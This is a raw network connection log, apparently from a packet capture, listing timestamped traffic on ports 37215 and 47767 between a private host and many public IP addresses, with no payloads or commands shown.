Aug 1, 2024 15:35:01.381297112 CEST	37215	47767	197.85.236.187	192.168.2.14
Aug 1, 2024 15:35:01.381320953 CEST	37215	47767	41.60.234.106	192.168.2.14
Aug 1, 2024 15:35:01.381335020 CEST	37215	47767	41.3.105.248	192.168.2.14
Aug 1, 2024 15:35:01.381345034 CEST	37215	47767	88.246.104.3	192.168.2.14
Aug 1, 2024 15:35:01.381351948 CEST	37215	47767	45.247.103.17	192.168.2.14
Aug 1, 2024 15:35:01.381359100 CEST	37215	47767	17.232.220.48	192.168.2.14
Aug 1, 2024 15:35:01.381390095 CEST	47767	37215	192.168.2.14	197.85.236.187
Aug 1, 2024 15:35:01.381406069 CEST	47767	37215	192.168.2.14	41.60.234.106
Aug 1, 2024 15:35:01.381413937 CEST	47767	37215	192.168.2.14	41.3.105.248
Aug 1, 2024 15:35:01.381413937 CEST	47767	37215	192.168.2.14	45.247.103.17
Aug 1, 2024 15:35:01.381423950 CEST	37215	47767	197.198.105.141	192.168.2.14
Aug 1, 2024 15:35:01.381433010 CEST	37215	47767	157.252.87.165	192.168.2.14
Aug 1, 2024 15:35:01.381437063 CEST	47767	37215	192.168.2.14	88.246.104.3
Aug 1, 2024 15:35:01.381442070 CEST	37215	47767	41.76.4.130	192.168.2.14
Aug 1, 2024 15:35:01.381449938 CEST	37215	47767	157.170.80.123	192.168.2.14
Aug 1, 2024 15:35:01.381449938 CEST	47767	37215	192.168.2.14	197.198.105.141
Aug 1, 2024 15:35:01.381452084 CEST	47767	37215	192.168.2.14	17.232.220.48
Aug 1, 2024 15:35:01.381458998 CEST	37215	47767	41.120.137.195	192.168.2.14
Aug 1, 2024 15:35:01.381465912 CEST	37215	47767	157.115.87.61	192.168.2.14
Aug 1, 2024 15:35:01.381474972 CEST	37215	47767	57.81.121.191	192.168.2.14
Aug 1, 2024 15:35:01.381484032 CEST	37215	47767	64.21.107.149	192.168.2.14
Aug 1, 2024 15:35:01.381483078 CEST	47767	37215	192.168.2.14	157.252.87.165
Aug 1, 2024 15:35:01.381498098 CEST	37215	47767	41.130.132.35	192.168.2.14
Aug 1, 2024 15:35:01.381496906 CEST	47767	37215	192.168.2.14	41.120.137.195
Aug 1, 2024 15:35:01.381514072 CEST	47767	37215	192.168.2.14	41.76.4.130
Aug 1, 2024 15:35:01.381514072 CEST	47767	37215	192.168.2.14	157.170.80.123
Aug 1, 2024 15:35:01.381520033 CEST	47767	37215	192.168.2.14	157.115.87.61
Aug 1, 2024 15:35:01.381536007 CEST	47767	37215	192.168.2.14	57.81.121.191
Aug 1, 2024 15:35:01.381536007 CEST	47767	37215	192.168.2.14	64.21.107.149
Aug 1, 2024 15:35:01.381536961 CEST	47767	37215	192.168.2.14	41.130.132.35
Aug 1, 2024 15:35:01.381728888 CEST	37215	47767	41.63.51.246	192.168.2.14
Aug 1, 2024 15:35:01.381740093 CEST	37215	47767	197.239.122.88	192.168.2.14
Aug 1, 2024 15:35:01.381748915 CEST	37215	47767	197.183.49.28	192.168.2.14
Aug 1, 2024 15:35:01.381758928 CEST	37215	47767	157.6.42.244	192.168.2.14
Aug 1, 2024 15:35:01.381767988 CEST	37215	47767	185.156.229.7	192.168.2.14
Aug 1, 2024 15:35:01.381771088 CEST	47767	37215	192.168.2.14	197.239.122.88
Aug 1, 2024 15:35:01.381772995 CEST	47767	37215	192.168.2.14	41.63.51.246
Aug 1, 2024 15:35:01.381789923 CEST	47767	37215	192.168.2.14	157.6.42.244
Aug 1, 2024 15:35:01.381815910 CEST	47767	37215	192.168.2.14	197.183.49.28
Aug 1, 2024 15:35:01.381824970 CEST	47767	37215	192.168.2.14	185.156.229.7
Aug 1, 2024 15:35:01.382169008 CEST	37215	47767	157.176.142.163	192.168.2.14
Aug 1, 2024 15:35:01.382211924 CEST	47767	37215	192.168.2.14	157.176.142.163
Aug 1, 2024 15:35:01.382263899 CEST	37215	47767	48.243.49.3	192.168.2.14
Aug 1, 2024 15:35:01.382275105 CEST	37215	47767	8.230.138.92	192.168.2.14
Aug 1, 2024 15:35:01.382283926 CEST	37215	47767	197.220.94.188	192.168.2.14
Aug 1, 2024 15:35:01.382306099 CEST	47767	37215	192.168.2.14	48.243.49.3
Aug 1, 2024 15:35:01.382306099 CEST	47767	37215	192.168.2.14	8.230.138.92
Aug 1, 2024 15:35:01.382319927 CEST	47767	37215	192.168.2.14	197.220.94.188
Aug 1, 2024 15:35:01.382339001 CEST	37215	47767	157.218.53.40	192.168.2.14
Aug 1, 2024 15:35:01.382349968 CEST	37215	47767	41.34.233.205	192.168.2.14
Aug 1, 2024 15:35:01.382359028 CEST	37215	47767	36.233.5.221	192.168.2.14
Aug 1, 2024 15:35:01.382375956 CEST	47767	37215	192.168.2.14	157.218.53.40
Aug 1, 2024 15:35:01.382380009 CEST	37215	47767	107.49.234.18	192.168.2.14
Aug 1, 2024 15:35:01.382380962 CEST	47767	37215	192.168.2.14	41.34.233.205
Aug 1, 2024 15:35:01.382390022 CEST	37215	47767	197.231.131.105	192.168.2.14
Aug 1, 2024 15:35:01.382395983 CEST	47767	37215	192.168.2.14	36.233.5.221
Aug 1, 2024 15:35:01.382399082 CEST	37215	47767	41.144.83.214	192.168.2.14
Aug 1, 2024 15:35:01.382415056 CEST	37215	47767	197.69.9.217	192.168.2.14
Aug 1, 2024 15:35:01.382421970 CEST	47767	37215	192.168.2.14	197.231.131.105
Aug 1, 2024 15:35:01.382421970 CEST	47767	37215	192.168.2.14	107.49.234.18
Aug 1, 2024 15:35:01.382424116 CEST	37215	47767	157.107.254.47	192.168.2.14
Aug 1, 2024 15:35:01.382433891 CEST	37215	47767	197.102.205.1	192.168.2.14
Aug 1, 2024 15:35:01.382440090 CEST	47767	37215	192.168.2.14	197.69.9.217
Aug 1, 2024 15:35:01.382442951 CEST	47767	37215	192.168.2.14	41.144.83.214
Aug 1, 2024 15:35:01.382456064 CEST	37215	47767	157.63.206.143	192.168.2.14
Aug 1, 2024 15:35:01.382457018 CEST	47767	37215	192.168.2.14	157.107.254.47
Aug 1, 2024 15:35:01.382463932 CEST	47767	37215	192.168.2.14	197.102.205.1
Aug 1, 2024 15:35:01.382467031 CEST	37215	47767	197.252.216.239	192.168.2.14
Aug 1, 2024 15:35:01.382476091 CEST	37215	47767	184.229.118.121	192.168.2.14
Aug 1, 2024 15:35:01.382486105 CEST	37215	47767	157.127.47.204	192.168.2.14
Aug 1, 2024 15:35:01.382493019 CEST	47767	37215	192.168.2.14	197.252.216.239
Aug 1, 2024 15:35:01.382494926 CEST	37215	47767	41.119.4.29	192.168.2.14
Aug 1, 2024 15:35:01.382496119 CEST	47767	37215	192.168.2.14	157.63.206.143
Aug 1, 2024 15:35:01.382503986 CEST	47767	37215	192.168.2.14	184.229.118.121
Aug 1, 2024 15:35:01.382505894 CEST	37215	47767	97.244.160.28	192.168.2.14
Aug 1, 2024 15:35:01.382515907 CEST	37215	47767	52.84.82.103	192.168.2.14
Aug 1, 2024 15:35:01.382524967 CEST	37215	47767	43.192.71.169	192.168.2.14
Aug 1, 2024 15:35:01.382524967 CEST	47767	37215	192.168.2.14	157.127.47.204
Aug 1, 2024 15:35:01.382527113 CEST	47767	37215	192.168.2.14	41.119.4.29
Aug 1, 2024 15:35:01.382534027 CEST	37215	47767	157.4.128.216	192.168.2.14
Aug 1, 2024 15:35:01.382545948 CEST	37215	47767	41.213.204.168	192.168.2.14
Aug 1, 2024 15:35:01.382553101 CEST	47767	37215	192.168.2.14	97.244.160.28
Aug 1, 2024 15:35:01.382554054 CEST	47767	37215	192.168.2.14	52.84.82.103
Aug 1, 2024 15:35:01.382555008 CEST	37215	47767	41.201.239.10	192.168.2.14
Aug 1, 2024 15:35:01.382555008 CEST	47767	37215	192.168.2.14	43.192.71.169
Aug 1, 2024 15:35:01.382564068 CEST	37215	47767	125.214.106.245	192.168.2.14
Aug 1, 2024 15:35:01.382572889 CEST	47767	37215	192.168.2.14	157.4.128.216
Aug 1, 2024 15:35:01.382574081 CEST	37215	47767	157.163.53.82	192.168.2.14
Aug 1, 2024 15:35:01.382582903 CEST	37215	47767	197.27.82.32	192.168.2.14
Aug 1, 2024 15:35:01.382591963 CEST	37215	47767	197.103.25.147	192.168.2.14
Aug 1, 2024 15:35:01.382601023 CEST	47767	37215	192.168.2.14	41.213.204.168
Aug 1, 2024 15:35:01.382603884 CEST	47767	37215	192.168.2.14	157.163.53.82
Aug 1, 2024 15:35:01.382607937 CEST	47767	37215	192.168.2.14	125.214.106.245
Aug 1, 2024 15:35:01.382607937 CEST	47767	37215	192.168.2.14	41.201.239.10
Aug 1, 2024 15:35:01.382611036 CEST	47767	37215	192.168.2.14	197.27.82.32
Aug 1, 2024 15:35:01.382622957 CEST	47767	37215	192.168.2.14	197.103.25.147
Aug 1, 2024 15:35:01.382965088 CEST	37215	47767	157.194.238.33	192.168.2.14
Aug 1, 2024 15:35:01.382982969 CEST	37215	47767	157.252.188.170	192.168.2.14
Aug 1, 2024 15:35:01.382992029 CEST	37215	47767	41.123.241.29	192.168.2.14
Aug 1, 2024 15:35:01.383007050 CEST	37215	47767	41.145.10.110	192.168.2.14
Aug 1, 2024 15:35:01.383007050 CEST	47767	37215	192.168.2.14	157.194.238.33
Aug 1, 2024 15:35:01.383011103 CEST	47767	37215	192.168.2.14	157.252.188.170
Aug 1, 2024 15:35:01.383017063 CEST	47767	37215	192.168.2.14	41.123.241.29
Aug 1, 2024 15:35:01.383018970 CEST	37215	47767	197.167.205.37	192.168.2.14
Aug 1, 2024 15:35:01.383038998 CEST	47767	37215	192.168.2.14	41.145.10.110
Aug 1, 2024 15:35:01.383040905 CEST	37215	47767	197.108.26.212	192.168.2.14
Aug 1, 2024 15:35:01.383052111 CEST	37215	47767	41.175.170.216	192.168.2.14
Aug 1, 2024 15:35:01.383059978 CEST	37215	47767	157.115.212.17	192.168.2.14
Aug 1, 2024 15:35:01.383066893 CEST	47767	37215	192.168.2.14	197.167.205.37
Aug 1, 2024 15:35:01.383068085 CEST	37215	47767	157.205.197.163	192.168.2.14
Aug 1, 2024 15:35:01.383074045 CEST	47767	37215	192.168.2.14	197.108.26.212
Aug 1, 2024 15:35:01.383078098 CEST	37215	47767	157.82.203.210	192.168.2.14
Aug 1, 2024 15:35:01.383078098 CEST	47767	37215	192.168.2.14	41.175.170.216
Aug 1, 2024 15:35:01.383089066 CEST	37215	47767	157.85.174.66	192.168.2.14
Aug 1, 2024 15:35:01.383095026 CEST	47767	37215	192.168.2.14	157.205.197.163
Aug 1, 2024 15:35:01.383099079 CEST	37215	47767	157.179.100.46	192.168.2.14
Aug 1, 2024 15:35:01.383106947 CEST	37215	47767	197.156.18.255	192.168.2.14
Aug 1, 2024 15:35:01.383115053 CEST	47767	37215	192.168.2.14	157.115.212.17
Aug 1, 2024 15:35:01.383117914 CEST	47767	37215	192.168.2.14	157.85.174.66
Aug 1, 2024 15:35:01.383121014 CEST	47767	37215	192.168.2.14	157.82.203.210
Aug 1, 2024 15:35:01.383121967 CEST	37215	47767	157.60.125.164	192.168.2.14
Aug 1, 2024 15:35:01.383131981 CEST	37215	47767	157.85.7.22	192.168.2.14
Aug 1, 2024 15:35:01.383137941 CEST	47767	37215	192.168.2.14	157.179.100.46
Aug 1, 2024 15:35:01.383138895 CEST	47767	37215	192.168.2.14	197.156.18.255
Aug 1, 2024 15:35:01.383147001 CEST	37215	47767	177.6.35.214	192.168.2.14
Aug 1, 2024 15:35:01.383161068 CEST	37215	47767	41.70.100.139	192.168.2.14
Aug 1, 2024 15:35:01.383162975 CEST	47767	37215	192.168.2.14	157.60.125.164
Aug 1, 2024 15:35:01.383177042 CEST	37215	47767	134.13.225.52	192.168.2.14
Aug 1, 2024 15:35:01.383178949 CEST	47767	37215	192.168.2.14	157.85.7.22
Aug 1, 2024 15:35:01.383178949 CEST	47767	37215	192.168.2.14	177.6.35.214
Aug 1, 2024 15:35:01.383187056 CEST	37215	47767	178.141.81.171	192.168.2.14
Aug 1, 2024 15:35:01.383196115 CEST	47767	37215	192.168.2.14	41.70.100.139
Aug 1, 2024 15:35:01.383197069 CEST	37215	47767	20.12.163.242	192.168.2.14
Aug 1, 2024 15:35:01.383205891 CEST	37215	47767	101.33.241.3	192.168.2.14
Aug 1, 2024 15:35:01.383210897 CEST	47767	37215	192.168.2.14	134.13.225.52
Aug 1, 2024 15:35:01.383213997 CEST	47767	37215	192.168.2.14	178.141.81.171
Aug 1, 2024 15:35:01.383215904 CEST	37215	47767	197.34.173.152	192.168.2.14
Aug 1, 2024 15:35:01.383230925 CEST	37215	47767	41.35.113.38	192.168.2.14
Aug 1, 2024 15:35:01.383239031 CEST	47767	37215	192.168.2.14	20.12.163.242
Aug 1, 2024 15:35:01.383239985 CEST	37215	47767	197.82.223.181	192.168.2.14
Aug 1, 2024 15:35:01.383244038 CEST	47767	37215	192.168.2.14	101.33.241.3
Aug 1, 2024 15:35:01.383244038 CEST	47767	37215	192.168.2.14	197.34.173.152
Aug 1, 2024 15:35:01.383249998 CEST	37215	47767	41.17.227.32	192.168.2.14
Aug 1, 2024 15:35:01.383259058 CEST	37215	47767	197.137.75.181	192.168.2.14
Aug 1, 2024 15:35:01.383268118 CEST	37215	47767	197.59.205.196	192.168.2.14
Aug 1, 2024 15:35:01.383269072 CEST	47767	37215	192.168.2.14	41.35.113.38
Aug 1, 2024 15:35:01.383270025 CEST	47767	37215	192.168.2.14	197.82.223.181
Aug 1, 2024 15:35:01.383276939 CEST	37215	47767	197.217.139.221	192.168.2.14
Aug 1, 2024 15:35:01.383287907 CEST	47767	37215	192.168.2.14	41.17.227.32
Aug 1, 2024 15:35:01.383291006 CEST	47767	37215	192.168.2.14	197.137.75.181
Aug 1, 2024 15:35:01.383294106 CEST	47767	37215	192.168.2.14	197.59.205.196
Aug 1, 2024 15:35:01.383300066 CEST	47767	37215	192.168.2.14	197.217.139.221
Aug 1, 2024 15:35:01.383615017 CEST	37215	47767	41.197.130.99	192.168.2.14
Aug 1, 2024 15:35:01.383625984 CEST	37215	47767	133.16.137.126	192.168.2.14
Aug 1, 2024 15:35:01.383634090 CEST	37215	47767	41.242.65.241	192.168.2.14
Aug 1, 2024 15:35:01.383656025 CEST	47767	37215	192.168.2.14	133.16.137.126
Aug 1, 2024 15:35:01.383656979 CEST	47767	37215	192.168.2.14	41.197.130.99
Aug 1, 2024 15:35:01.383665085 CEST	47767	37215	192.168.2.14	41.242.65.241
Aug 1, 2024 15:35:01.383678913 CEST	37215	47767	189.152.253.165	192.168.2.14
Aug 1, 2024 15:35:01.383688927 CEST	37215	47767	157.12.171.175	192.168.2.14
Aug 1, 2024 15:35:01.383697033 CEST	37215	47767	41.191.246.193	192.168.2.14
Aug 1, 2024 15:35:01.383713961 CEST	37215	47767	197.93.12.236	192.168.2.14
Aug 1, 2024 15:35:01.383723021 CEST	47767	37215	192.168.2.14	157.12.171.175
Aug 1, 2024 15:35:01.383723021 CEST	47767	37215	192.168.2.14	41.191.246.193
Aug 1, 2024 15:35:01.383723974 CEST	47767	37215	192.168.2.14	189.152.253.165
Aug 1, 2024 15:35:01.383728027 CEST	37215	47767	41.47.81.30	192.168.2.14
Aug 1, 2024 15:35:01.383749008 CEST	37215	47767	157.131.150.200	192.168.2.14
Aug 1, 2024 15:35:01.383755922 CEST	47767	37215	192.168.2.14	197.93.12.236
Aug 1, 2024 15:35:01.383765936 CEST	47767	37215	192.168.2.14	41.47.81.30
Aug 1, 2024 15:35:01.383766890 CEST	37215	47767	41.186.223.52	192.168.2.14
Aug 1, 2024 15:35:01.383775949 CEST	37215	47767	157.191.249.159	192.168.2.14
Aug 1, 2024 15:35:01.383785009 CEST	47767	37215	192.168.2.14	157.131.150.200
Aug 1, 2024 15:35:01.383785963 CEST	37215	47767	157.223.194.94	192.168.2.14
Aug 1, 2024 15:35:01.383795023 CEST	37215	47767	157.180.107.56	192.168.2.14
Aug 1, 2024 15:35:01.383802891 CEST	37215	47767	47.254.221.229	192.168.2.14
Aug 1, 2024 15:35:01.383800983 CEST	47767	37215	192.168.2.14	41.186.223.52
Aug 1, 2024 15:35:01.383806944 CEST	47767	37215	192.168.2.14	157.191.249.159
Aug 1, 2024 15:35:01.383811951 CEST	37215	47767	168.169.182.39	192.168.2.14
Aug 1, 2024 15:35:01.383821011 CEST	37215	47767	211.252.170.13	192.168.2.14
Aug 1, 2024 15:35:01.383829117 CEST	37215	47767	197.32.76.173	192.168.2.14
Aug 1, 2024 15:35:01.383831024 CEST	47767	37215	192.168.2.14	157.180.107.56
Aug 1, 2024 15:35:01.383832932 CEST	47767	37215	192.168.2.14	157.223.194.94
Aug 1, 2024 15:35:01.383832932 CEST	47767	37215	192.168.2.14	47.254.221.229
Aug 1, 2024 15:35:01.383841038 CEST	37215	47767	197.145.248.74	192.168.2.14
Aug 1, 2024 15:35:01.383850098 CEST	37215	47767	41.133.141.213	192.168.2.14
Aug 1, 2024 15:35:01.383851051 CEST	47767	37215	192.168.2.14	168.169.182.39
Aug 1, 2024 15:35:01.383853912 CEST	47767	37215	192.168.2.14	211.252.170.13
Aug 1, 2024 15:35:01.383858919 CEST	37215	47767	197.59.215.245	192.168.2.14
Aug 1, 2024 15:35:01.383861065 CEST	47767	37215	192.168.2.14	197.145.248.74
Aug 1, 2024 15:35:01.383862019 CEST	47767	37215	192.168.2.14	197.32.76.173
Aug 1, 2024 15:35:01.383867979 CEST	37215	47767	197.71.190.208	192.168.2.14
Aug 1, 2024 15:35:01.383877039 CEST	37215	47767	157.82.9.120	192.168.2.14
Aug 1, 2024 15:35:01.383882999 CEST	47767	37215	192.168.2.14	41.133.141.213
Aug 1, 2024 15:35:01.383887053 CEST	37215	47767	197.52.194.239	192.168.2.14
Aug 1, 2024 15:35:01.383887053 CEST	47767	37215	192.168.2.14	197.59.215.245
Aug 1, 2024 15:35:01.383896112 CEST	37215	47767	129.79.100.174	192.168.2.14
Aug 1, 2024 15:35:01.383903980 CEST	47767	37215	192.168.2.14	197.71.190.208
Aug 1, 2024 15:35:01.383910894 CEST	37215	47767	197.63.101.157	192.168.2.14
Aug 1, 2024 15:35:01.383920908 CEST	37215	47767	41.141.36.255	192.168.2.14
Aug 1, 2024 15:35:01.383928061 CEST	47767	37215	192.168.2.14	197.52.194.239
Aug 1, 2024 15:35:01.383929014 CEST	37215	47767	112.229.192.172	192.168.2.14
Aug 1, 2024 15:35:01.383927107 CEST	47767	37215	192.168.2.14	157.82.9.120
Aug 1, 2024 15:35:01.383927107 CEST	47767	37215	192.168.2.14	129.79.100.174
Aug 1, 2024 15:35:01.383939028 CEST	37215	47767	181.144.127.106	192.168.2.14
Aug 1, 2024 15:35:01.383949041 CEST	47767	37215	192.168.2.14	197.63.101.157
Aug 1, 2024 15:35:01.383949041 CEST	47767	37215	192.168.2.14	41.141.36.255
Aug 1, 2024 15:35:01.383959055 CEST	47767	37215	192.168.2.14	112.229.192.172
Aug 1, 2024 15:35:01.383971930 CEST	47767	37215	192.168.2.14	181.144.127.106
Aug 1, 2024 15:35:01.384373903 CEST	37215	47767	157.34.147.49	192.168.2.14
Aug 1, 2024 15:35:01.384414911 CEST	47767	37215	192.168.2.14	157.34.147.49
Aug 1, 2024 15:35:01.384490013 CEST	37215	47767	41.168.229.204	192.168.2.14
Aug 1, 2024 15:35:01.384516954 CEST	37215	47767	209.177.156.74	192.168.2.14
Aug 1, 2024 15:35:01.384526014 CEST	37215	47767	41.114.52.253	192.168.2.14
Aug 1, 2024 15:35:01.384526968 CEST	47767	37215	192.168.2.14	41.168.229.204
Aug 1, 2024 15:35:01.384533882 CEST	37215	47767	41.163.84.58	192.168.2.14
Aug 1, 2024 15:35:01.384543896 CEST	37215	47767	41.147.126.145	192.168.2.14
Aug 1, 2024 15:35:01.384552002 CEST	37215	47767	131.97.108.101	192.168.2.14
Aug 1, 2024 15:35:01.384557962 CEST	47767	37215	192.168.2.14	209.177.156.74
Aug 1, 2024 15:35:01.384560108 CEST	47767	37215	192.168.2.14	41.114.52.253
Aug 1, 2024 15:35:01.384565115 CEST	47767	37215	192.168.2.14	41.163.84.58
Aug 1, 2024 15:35:01.384567976 CEST	37215	47767	197.100.93.162	192.168.2.14
Aug 1, 2024 15:35:01.384578943 CEST	37215	47767	197.183.175.10	192.168.2.14
Aug 1, 2024 15:35:01.384582996 CEST	47767	37215	192.168.2.14	131.97.108.101
Aug 1, 2024 15:35:01.384584904 CEST	47767	37215	192.168.2.14	41.147.126.145
Aug 1, 2024 15:35:01.384588003 CEST	37215	47767	160.68.36.179	192.168.2.14
Aug 1, 2024 15:35:01.384597063 CEST	37215	47767	41.38.132.228	192.168.2.14
Aug 1, 2024 15:35:01.384604931 CEST	47767	37215	192.168.2.14	197.100.93.162
Aug 1, 2024 15:35:01.384608030 CEST	37215	47767	165.37.23.157	192.168.2.14
Aug 1, 2024 15:35:01.384613037 CEST	47767	37215	192.168.2.14	197.183.175.10
Aug 1, 2024 15:35:01.384613991 CEST	47767	37215	192.168.2.14	160.68.36.179
Aug 1, 2024 15:35:01.384617090 CEST	37215	47767	27.43.102.3	192.168.2.14
Aug 1, 2024 15:35:01.384625912 CEST	37215	47767	148.206.254.144	192.168.2.14
Aug 1, 2024 15:35:01.384635925 CEST	47767	37215	192.168.2.14	41.38.132.228
Aug 1, 2024 15:35:01.384635925 CEST	47767	37215	192.168.2.14	165.37.23.157
Aug 1, 2024 15:35:01.384644032 CEST	47767	37215	192.168.2.14	27.43.102.3
Aug 1, 2024 15:35:01.384660006 CEST	47767	37215	192.168.2.14	148.206.254.144
Aug 1, 2024 15:35:01.384926081 CEST	37215	47767	213.90.71.217	192.168.2.14
Aug 1, 2024 15:35:01.384936094 CEST	37215	47767	157.89.66.109	192.168.2.14
Aug 1, 2024 15:35:01.384964943 CEST	47767	37215	192.168.2.14	157.89.66.109
Aug 1, 2024 15:35:01.384968996 CEST	47767	37215	192.168.2.14	213.90.71.217
Aug 1, 2024 15:35:01.385128021 CEST	37215	47767	157.189.50.111	192.168.2.14
Aug 1, 2024 15:35:01.385137081 CEST	37215	47767	157.172.52.250	192.168.2.14
Aug 1, 2024 15:35:01.385145903 CEST	37215	47767	41.168.71.95	192.168.2.14
Aug 1, 2024 15:35:01.385154963 CEST	37215	47767	157.158.60.173	192.168.2.14
Aug 1, 2024 15:35:01.385163069 CEST	37215	47767	186.29.197.200	192.168.2.14
Aug 1, 2024 15:35:01.385170937 CEST	47767	37215	192.168.2.14	157.189.50.111
Aug 1, 2024 15:35:01.385170937 CEST	47767	37215	192.168.2.14	41.168.71.95
Aug 1, 2024 15:35:01.385174036 CEST	47767	37215	192.168.2.14	157.172.52.250
Aug 1, 2024 15:35:01.385175943 CEST	37215	47767	197.18.94.122	192.168.2.14
Aug 1, 2024 15:35:01.385181904 CEST	47767	37215	192.168.2.14	157.158.60.173
Aug 1, 2024 15:35:01.385198116 CEST	37215	47767	197.16.25.70	192.168.2.14
Aug 1, 2024 15:35:01.385201931 CEST	47767	37215	192.168.2.14	186.29.197.200
Aug 1, 2024 15:35:01.385206938 CEST	47767	37215	192.168.2.14	197.18.94.122
Aug 1, 2024 15:35:01.385207891 CEST	37215	47767	157.70.5.235	192.168.2.14
Aug 1, 2024 15:35:01.385216951 CEST	37215	47767	41.72.159.48	192.168.2.14
Aug 1, 2024 15:35:01.385226011 CEST	37215	47767	157.121.66.19	192.168.2.14
Aug 1, 2024 15:35:01.385234118 CEST	37215	47767	41.131.77.26	192.168.2.14
Aug 1, 2024 15:35:01.385235071 CEST	47767	37215	192.168.2.14	157.70.5.235
Aug 1, 2024 15:35:01.385240078 CEST	47767	37215	192.168.2.14	197.16.25.70
Aug 1, 2024 15:35:01.385240078 CEST	47767	37215	192.168.2.14	41.72.159.48
Aug 1, 2024 15:35:01.385242939 CEST	37215	47767	157.77.131.13	192.168.2.14
Aug 1, 2024 15:35:01.385257959 CEST	47767	37215	192.168.2.14	157.121.66.19
Aug 1, 2024 15:35:01.385262012 CEST	37215	47767	41.144.164.184	192.168.2.14
Aug 1, 2024 15:35:01.385266066 CEST	47767	37215	192.168.2.14	41.131.77.26
Aug 1, 2024 15:35:01.385272980 CEST	37215	47767	197.238.157.235	192.168.2.14
Aug 1, 2024 15:35:01.385282040 CEST	37215	47767	197.161.10.206	192.168.2.14
Aug 1, 2024 15:35:01.385287046 CEST	47767	37215	192.168.2.14	157.77.131.13
Aug 1, 2024 15:35:01.385291100 CEST	37215	47767	157.23.15.161	192.168.2.14
Aug 1, 2024 15:35:01.385299921 CEST	37215	47767	41.1.81.129	192.168.2.14
Aug 1, 2024 15:35:01.385301113 CEST	47767	37215	192.168.2.14	41.144.164.184
Aug 1, 2024 15:35:01.385308027 CEST	47767	37215	192.168.2.14	197.238.157.235
Aug 1, 2024 15:35:01.385308027 CEST	47767	37215	192.168.2.14	197.161.10.206
Aug 1, 2024 15:35:01.385309935 CEST	37215	47767	41.159.247.172	192.168.2.14
Aug 1, 2024 15:35:01.385318995 CEST	37215	47767	41.18.179.64	192.168.2.14
Aug 1, 2024 15:35:01.385324955 CEST	47767	37215	192.168.2.14	157.23.15.161
Aug 1, 2024 15:35:01.385328054 CEST	37215	47767	64.232.199.23	192.168.2.14
Aug 1, 2024 15:35:01.385335922 CEST	37215	47767	35.89.64.75	192.168.2.14
Aug 1, 2024 15:35:01.385343075 CEST	47767	37215	192.168.2.14	41.1.81.129
Aug 1, 2024 15:35:01.385344982 CEST	37215	47767	41.57.217.6	192.168.2.14
Aug 1, 2024 15:35:01.385349035 CEST	47767	37215	192.168.2.14	41.159.247.172
Aug 1, 2024 15:35:01.385354996 CEST	37215	47767	197.20.235.245	192.168.2.14
Aug 1, 2024 15:35:01.385363102 CEST	37215	47767	116.149.96.0	192.168.2.14
Aug 1, 2024 15:35:01.385363102 CEST	47767	37215	192.168.2.14	41.18.179.64
Aug 1, 2024 15:35:01.385363102 CEST	47767	37215	192.168.2.14	64.232.199.23
Aug 1, 2024 15:35:01.385363102 CEST	47767	37215	192.168.2.14	35.89.64.75
Aug 1, 2024 15:35:01.385371923 CEST	37215	47767	41.240.121.125	192.168.2.14
Aug 1, 2024 15:35:01.385380983 CEST	37215	47767	197.239.136.142	192.168.2.14
Aug 1, 2024 15:35:01.385387897 CEST	47767	37215	192.168.2.14	197.20.235.245
Aug 1, 2024 15:35:01.385389090 CEST	47767	37215	192.168.2.14	116.149.96.0
Aug 1, 2024 15:35:01.385390043 CEST	37215	47767	107.49.33.59	192.168.2.14
Aug 1, 2024 15:35:01.385392904 CEST	47767	37215	192.168.2.14	41.57.217.6
Aug 1, 2024 15:35:01.385399103 CEST	37215	47767	197.91.203.79	192.168.2.14
Aug 1, 2024 15:35:01.385404110 CEST	47767	37215	192.168.2.14	41.240.121.125
Aug 1, 2024 15:35:01.385407925 CEST	37215	47767	41.231.13.235	192.168.2.14
Aug 1, 2024 15:35:01.385411978 CEST	47767	37215	192.168.2.14	197.239.136.142
Aug 1, 2024 15:35:01.385416985 CEST	37215	47767	157.130.206.118	192.168.2.14
Aug 1, 2024 15:35:01.385420084 CEST	47767	37215	192.168.2.14	197.91.203.79
Aug 1, 2024 15:35:01.385421991 CEST	47767	37215	192.168.2.14	107.49.33.59
Aug 1, 2024 15:35:01.385427952 CEST	37215	47767	157.136.225.164	192.168.2.14
Aug 1, 2024 15:35:01.385437012 CEST	37215	47767	41.51.28.135	192.168.2.14
Aug 1, 2024 15:35:01.385437012 CEST	47767	37215	192.168.2.14	41.231.13.235
Aug 1, 2024 15:35:01.385446072 CEST	37215	47767	197.52.235.43	192.168.2.14
Aug 1, 2024 15:35:01.385456085 CEST	47767	37215	192.168.2.14	157.130.206.118
Aug 1, 2024 15:35:01.385457039 CEST	47767	37215	192.168.2.14	157.136.225.164
Aug 1, 2024 15:35:01.385462046 CEST	37215	47767	41.30.96.86	192.168.2.14
Aug 1, 2024 15:35:01.385468006 CEST	47767	37215	192.168.2.14	41.51.28.135
Aug 1, 2024 15:35:01.385468006 CEST	47767	37215	192.168.2.14	197.52.235.43
Aug 1, 2024 15:35:01.385473013 CEST	37215	47767	96.112.221.147	192.168.2.14
Aug 1, 2024 15:35:01.385489941 CEST	37215	47767	207.174.238.65	192.168.2.14
Aug 1, 2024 15:35:01.385499001 CEST	37215	47767	202.207.227.178	192.168.2.14
Aug 1, 2024 15:35:01.385503054 CEST	47767	37215	192.168.2.14	96.112.221.147
Aug 1, 2024 15:35:01.385503054 CEST	47767	37215	192.168.2.14	41.30.96.86
Aug 1, 2024 15:35:01.385507107 CEST	37215	47767	157.10.65.187	192.168.2.14
Aug 1, 2024 15:35:01.385515928 CEST	37215	47767	41.115.43.13	192.168.2.14
Aug 1, 2024 15:35:01.385524035 CEST	37215	47767	41.196.91.169	192.168.2.14
Aug 1, 2024 15:35:01.385525942 CEST	47767	37215	192.168.2.14	207.174.238.65
Aug 1, 2024 15:35:01.385525942 CEST	47767	37215	192.168.2.14	202.207.227.178
Aug 1, 2024 15:35:01.385533094 CEST	47767	37215	192.168.2.14	157.10.65.187
Aug 1, 2024 15:35:01.385535002 CEST	37215	47767	157.43.138.151	192.168.2.14
Aug 1, 2024 15:35:01.385544062 CEST	47767	37215	192.168.2.14	41.115.43.13
Aug 1, 2024 15:35:01.385557890 CEST	37215	47767	41.44.101.93	192.168.2.14
Aug 1, 2024 15:35:01.385561943 CEST	47767	37215	192.168.2.14	41.196.91.169
Aug 1, 2024 15:35:01.385561943 CEST	47767	37215	192.168.2.14	157.43.138.151
Aug 1, 2024 15:35:01.385566950 CEST	37215	47767	157.22.175.91	192.168.2.14
Aug 1, 2024 15:35:01.385576010 CEST	37215	47767	157.52.213.73	192.168.2.14
Aug 1, 2024 15:35:01.385584116 CEST	37215	47767	197.220.9.78	192.168.2.14
